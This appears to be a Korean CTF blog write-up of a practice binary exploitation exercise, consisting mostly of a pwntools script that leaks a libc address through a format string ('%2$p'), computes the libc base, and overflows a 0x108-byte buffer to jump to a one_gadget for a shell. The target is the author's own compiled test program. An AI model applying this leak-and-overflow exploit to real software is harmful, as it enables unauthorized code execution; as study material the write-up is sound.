TODAY TOTAL
간단한 바이너리 익스 + NX

이전과 동일한 소스코드이다.

근데 컴파일 옵션이 다르다. NX를 꺼주는 옵션이 사라졌다.

gcc -o test code.c -fno-stack-protector -z norelro

fsb로 릭을 하고 이후 gest(buf)에서 원가젯으로 이동하면 되겠다.

 

from pwn import *

#r = remote("", )
r = process("./test")
#gdb.attach(r)

#e = ELF("")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

# one_gadget : 0x45216 0x4526a 0xf02a4 0xf1147

r.sendlineafter(": ", "%2$p")

r.recvuntil(", ")

leak = int(r.recv(14), 16)
base = leak - 0x3c6780
onegadget = base + 0x45226 # 0x45226 0x4527a 0xf0364 0xf1207

payload = "A"*0x108
payload += p64(onegadget)

print hex(base)

r.sendlineafter(": ", payload)

r.interactive()

0x108 오프셋까지 A로 덮어주고 onegadget 주소로 바로 이동을 했다.

쉘이 잘 따지는 것을 확인할 수 있다.

 

'CTF' 카테고리의 다른 글

BaskinRobins31 풀이  (0) 2020.09.01
간단한 바이너리 익스 + NX + ASLR  (0) 2020.08.27
Dream hack - rev-basic-2  (0) 2020.08.07
Hacking Championship Junior 문제 2개 풀이  (0) 2019.10.21
Layer7 CTF Write up  (0) 2019.10.07
  Comments,     Trackbacks
최근 작성 글
글 보관함
검색